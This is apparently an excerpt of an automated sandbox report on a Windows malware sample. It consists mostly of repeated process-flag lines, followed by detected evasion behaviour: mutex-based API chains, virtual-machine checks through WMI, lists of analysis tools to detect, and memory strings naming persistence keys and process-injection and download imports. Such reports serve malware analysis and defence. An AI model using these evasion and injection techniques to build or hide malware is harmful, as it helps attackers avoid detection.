Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\conhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\conhost.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Found evasive API chain (may stop execution after checking mutex)

Source: C:\Users\user\AppData\Roaming\A629855EB2A22925382193\A629855EB2A22925382193.exe	Evasive API call chain: CreateMutex,DecisionNodes,Sleep	graph_6-1479
Source: C:\Windows\System32\msiexec.exe	Evasive API call chain: CreateMutex,DecisionNodes,Sleep	graph_9-1482
Source: C:\Windows\System32\msiexec.exe	Evasive API call chain: CreateMutex,DecisionNodes,ExitProcess	graph_9-1160
Source: C:\Windows\System32\svchost.exe	Evasive API call chain: CreateMutex,DecisionNodes,ExitProcess	graph_2-1145
Source: C:\Windows\System32\svchost.exe	Evasive API call chain: CreateMutex,DecisionNodes,Sleep	graph_2-1438
Source: C:\Windows\System32\audiodg.exe	Evasive API call chain: CreateMutex,DecisionNodes,ExitProcess	graph_8-1146
Source: C:\Users\user\AppData\Roaming\A629855EB2A22925382193\A629855EB2A22925382193.exe	Evasive API call chain: CreateMutex,DecisionNodes,ExitProcess	graph_6-1199
Source: C:\Windows\explorer.exe	Evasive API call chain: CreateMutex,DecisionNodes,Sleep	graph_5-39086
Source: C:\Users\user\Desktop\mggoBrtk9t.exe	Evasive API call chain: CreateMutex,DecisionNodes,ExitProcess	graph_0-1150
Source: C:\Windows\System32\audiodg.exe	Evasive API call chain: CreateMutex,DecisionNodes,Sleep	graph_8-1477
Source: C:\Users\user\Desktop\mggoBrtk9t.exe	Evasive API call chain: CreateMutex,DecisionNodes,Sleep	graph_0-1431

Queries sensitive disk information (via WMI, Win32_DiskDrive, often done to detect virtual machines)

Source: C:\Users\user\AppData\Local\Temp\6148.tmp.ssg.exe

WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_DiskDrive

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Source: C:\Users\user\AppData\Local\Temp\6148.tmp.ssg.exe

WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_VideoController

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Source: mggoBrtk9t.exe, svchost.exe, A629855EB2A22925382193.exe, audiodg.exe, msiexec.exe	Binary or memory string: PROCMON.EXE
Source: mggoBrtk9t.exe, svchost.exe, A629855EB2A22925382193.exe, audiodg.exe, msiexec.exe	Binary or memory string: PROCESSHACKER.EXE
Source: mggoBrtk9t.exe, svchost.exe, A629855EB2A22925382193.exe, audiodg.exe, msiexec.exe	Binary or memory string: X64DBG.EXE
Source: mggoBrtk9t.exe, svchost.exe, A629855EB2A22925382193.exe, audiodg.exe, msiexec.exe	Binary or memory string: AUTORUNS.EXE
Source: msiexec.exe, 0000000F.00000002.1523544846.00007FF63B525000.00000002.00000400.00020000.00000000.sdmp	Binary or memory string: ZEROX64MADE IN ALGERIA <3REFLECTIVELOADERSOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\RUNGQGWZDSOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\STARTUPAPPROVED\RUNSOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\STARTUPAPPROVED\STARTUPFOLDER.EXELOADLIBRARYAKERNEL32.DLLGETPROCADDRESSKERNEL32.DLLWCSCPYMSVCRT.DLLWCSCATMSVCRT.DLLWCSCMPMSVCRT.DLLWCSNCPYMSVCRT.DLLWCSLENMSVCRT.DLLSTRLENMSVCRT.DLLREALLOCMSVCRT.DLLFREEMSVCRT.DLLWCSSTRMSVCRT.DLLGETWINDOWSDIRECTORYWKERNEL32.DLLGETVOLUMEINFORMATIONWKERNEL32.DLLLSTRCATWKERNEL32.DLLSETFILEATTRIBUTESWKERNEL32.DLLCLOSEHANDLEKERNEL32.DLLGETVERSIONEXAKERNEL32.DLLDELETEFILEWKERNEL32.DLLCREATEDIRECTORYAKERNEL32.DLLGETFILEATTRIBUTESAKERNEL32.DLLGETMODULEFILENAMEAKERNEL32.DLLCOPYFILEAKERNEL32.DLLGETWINDOWSDIRECTORYAKERNEL32.DLLCREATEFILEAKERNEL32.DLLHEAPALLOCKERNEL32.DLLGETPROCESSHEAPKERNEL32.DLLEXPANDENVIRONMENTSTRINGSWKERNEL32.DLLRESUMETHREADKERNEL32.DLLSETTHREADCONTEXTKERNEL32.DLLRTLCOMPAREMEMORYKERNEL32.DLLVIRTUALALLOCEXKERNEL32.DLLGETMODULEHANDLEAKERNEL32.DLLGETTHREADCONTEXTKERNEL32.DLLGETMODULEFILENAMEWKERNEL32.DLLVIRTUALPROTECTEXKERNEL32.DLLGETLASTERRORKERNEL32.DLLRELEASEMUTEXKERNEL32.DLLCREATEMUTEXAKERNEL32.DLLHEAPFREEKERNEL32.DLLWAITFORSINGLEOBJECTKERNEL32.DLLCREATETHREADKERNEL32.DLLCHECKREMOTEDEBUGGERPRESENTKERNEL32.DLLGETCURRENTPROCESSKERNEL32.DLLISDEBUGGERPRESENTKERNEL32.DLLEXITPROCESSKERNEL32.DLLDELETEFILEAKERNEL32.DLLPROCESS32NEXTWKERNEL32.DLLTERMINATEPROCESSKERNEL32.DLLOPENPROCESSKERNEL32.DLLPROCESS32FIRSTWKERNEL32.DLLCREATETOOLHELP32SNAPSHOTKERNEL32.DLLSETENDOFFILEKERNEL32.DLLLSTRCMPAKERNEL32.DLLWRITEPROCESSMEMORYKERNEL32.DLLREADPROCESSMEMORYKERNEL32.DLLGETFILESIZEKERNEL32.DLLWRITEFILEKERNEL32.DLLADJUSTTOKENPRIVILEGESADVAPI32.DLLOPENPROCESSTOKENADVAPI32.DLLLOOKUPPRIVILEGEVALUEWADVAPI32.DLLGETTOKENINFORMATIONADVAPI32.DLLCREATEFILEWKERNEL32.DLLSHGETFOLDERPATHWSHELL32.DLLSHGETFOLDERPATHASHELL32.DLLLSTRCATAKERNEL32.DLLSETFILEATTRIBUTESAKERNEL32.DLLSHGETKNOWNFOLDERPATHSHELL32.DLLFREELIBRARYKERNEL32.DLLMOVEFILEWKERNEL32.DLLGETFILESIZEEXKERNEL32.DLLGETWINDOWSDIRECTORYAKERNEL32.DLLGETVOLUMEINFORMATIONAKERNEL32.DLLGETTICKCOUNTKERNEL32.DLLWSPRINTFWUSER32.DLLWSPRINTFAUSER32.DLLVIRTUALALLOCKERNEL32.DLLREADFILEKERNEL32.DLLSLEEPKERNEL32.DLLVIRTUALFREEKERNEL32.DLLSETFILEPOINTERKERNEL32.DLLCREATEDIRECTORYWKERNEL32.DLLFINDFIRSTFILEWKERNEL32.DLLFINDNEXTFILEWKERNEL32.DLLFINDCLOSEKERNEL32.DLLCOPYFILEWKERNEL32.DLLWRITEFILEKERNEL32.DLLGETSYSTEMDIRECTORYWKERNEL32.DLLEXITPROCESSKERNEL32.DLLCREATEREMOTETHREADKERNEL32.DLLINTERNETOPENURLWWININET.DLLINTERNETREADFILEWININET.DLLHTTPQUERYINFOAWININET.DLLINTERNETOPENWWININET.DLLINTERNETCONNECTWWININET.DLLHTTPOPENREQUESTWWININET.DLLHTTPSENDREQUESTAWININET.DLLINTERNETCLOSEHANDLEWININET.DLLPATHISURLWSHLWAPI.DLLPATHCOMBINEWSHLWAPI.DLLPATHFINDFILENAMEWSHLWAPI.DLLSTRSTRASHLWAPI.DLLURLDOWNLOADTOFILEWURLMON.DLLCREATEPROCESSWKERNEL32.DLLSHELLEXECUTEWSHELL32.DLLGETMODULEFILENAMEWKERNEL32.DLLGETSHORTPATHNAMEWKERNEL32.DLLGETENVIRONMENTVARIABLEWKERNEL32.DLLREGOPENKEYEXWADVAPI32.DLLREGSETVALUEEXW
Source: mggoBrtk9t.exe, svchost.exe, A629855EB2A22925382193.exe, audiodg.exe, msiexec.exe	Binary or memory string: IDAQ.EXE
Source: A629855EB2A22925382193.exe, 0000000C.00000003.1522088582.00000000033A0000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: HZEROX64MADE IN ALGERIA <3REFLECTIVELOADERSOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\RUNGQGWZDSOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\STARTUPAPPROVED\RUNSOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\STARTUPAPPROVED\STARTUPFOLDER.EXELOADLIBRARYAKERNEL32.DLLGETPROCADDRESSKERNEL32.DLLWCSCPYMSVCRT.DLLWCSCATMSVCRT.DLLWCSCMPMSVCRT.DLLWCSNCPYMSVCRT.DLLWCSLENMSVCRT.DLLSTRLENMSVCRT.DLLREALLOCMSVCRT.DLLFREEMSVCRT.DLLWCSSTRMSVCRT.DLLGETWINDOWSDIRECTORYWKERNEL32.DLLGETVOLUMEINFORMATIONWKERNEL32.DLLLSTRCATWKERNEL32.DLLSETFILEATTRIBUTESWKERNEL32.DLLCLOSEHANDLEKERNEL32.DLLGETVERSIONEXAKERNEL32.DLLDELETEFILEWKERNEL32.DLLCREATEDIRECTORYAKERNEL32.DLLGETFILEATTRIBUTESAKERNEL32.DLLGETMODULEFILENAMEAKERNEL32.DLLCOPYFILEAKERNEL32.DLLGETWINDOWSDIRECTORYAKERNEL32.DLLCREATEFILEAKERNEL32.DLLHEAPALLOCKERNEL32.DLLGETPROCESSHEAPKERNEL32.DLLEXPANDENVIRONMENTSTRINGSWKERNEL32.DLLRESUMETHREADKERNEL32.DLLSETTHREADCONTEXTKERNEL32.DLLRTLCOMPAREMEMORYKERNEL32.DLLVIRTUALALLOCEXKERNEL32.DLLGETMODULEHANDLEAKERNEL32.DLLGETTHREADCONTEXTKERNEL32.DLLGETMODULEFILENAMEWKERNEL32.DLLVIRTUALPROTECTEXKERNEL32.DLLGETLASTERRORKERNEL32.DLLRELEASEMUTEXKERNEL32.DLLCREATEMUTEXAKERNEL32.DLLHEAPFREEKERNEL32.DLLWAITFORSINGLEOBJECTKERNEL32.DLLCREATETHREADKERNEL32.DLLCHECKREMOTEDEBUGGERPRESENTKERNEL32.DLLGETCURRENTPROCESSKERNEL32.DLLISDEBUGGERPRESENTKERNEL32.DLLEXITPROCESSKERNEL32.DLLDELETEFILEAKERNEL32.DLLPROCESS32NEXTWKERNEL32.DLLTERMINATEPROCESSKERNEL32.DLLOPENPROCESSKERNEL32.DLLPROCESS32FIRSTWKERNEL32.DLLCREATETOOLHELP32SNAPSHOTKERNEL32.DLLSETENDOFFILEKERNEL32.DLLLSTRCMPAKERNEL32.DLLWRITEPROCESSMEMORYKERNEL32.DLLREADPROCESSMEMORYKERNEL32.DLLGETFILESIZEKERNEL32.DLLWRITEFILEKERNEL32.DLLADJUSTTOKENPRIVILEGESADVAPI32.DLLOPENPROCESSTOKENADVAPI32.DLLLOOKUPPRIVILEGEVALUEWADVAPI32.DLLGETTOKENINFORMATIONADVAPI32.DLLCREATEFILEWKERNEL32.DLLSHGETFOLDERPATHWSHELL32.DLLSHGETFOLDERPATHASHELL32.DLLLSTRCATAKERNEL32.DLLSETFILEATTRIBUTESAKERNEL32.DLLSHGETKNOWNFOLDERPATHSHEL